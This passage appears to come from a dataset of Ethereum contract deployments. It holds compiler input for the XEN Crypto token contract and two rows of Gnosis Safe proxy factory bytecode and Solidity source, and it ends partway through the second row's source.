) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 19,494,966 | b37f45003d88fd698c750f7744bd31028442086a16a43a4f4df8e8d418929377 | 34bb7c61b5248aa58556cf5bb1e4814697da0d55c435a11d12688883cebe4b8c | 12c2fc7ac9a9317bb33d00d8d5c17e57c9128be6 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 11cc64e6c49a5d08aec49072730b6118969c0103 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,494,966 | b37f45003d88fd698c750f7744bd31028442086a16a43a4f4df8e8d418929377 | 6ef4a6a3c4d6ac3847e6b999ff630454fef687acb137950e23e23099079f4bdf | 4a075358a4500ae900fc652ab9db5fdbf7fc5e88 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 39a7ce221e3d9657374f43b8c95083e043085631 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
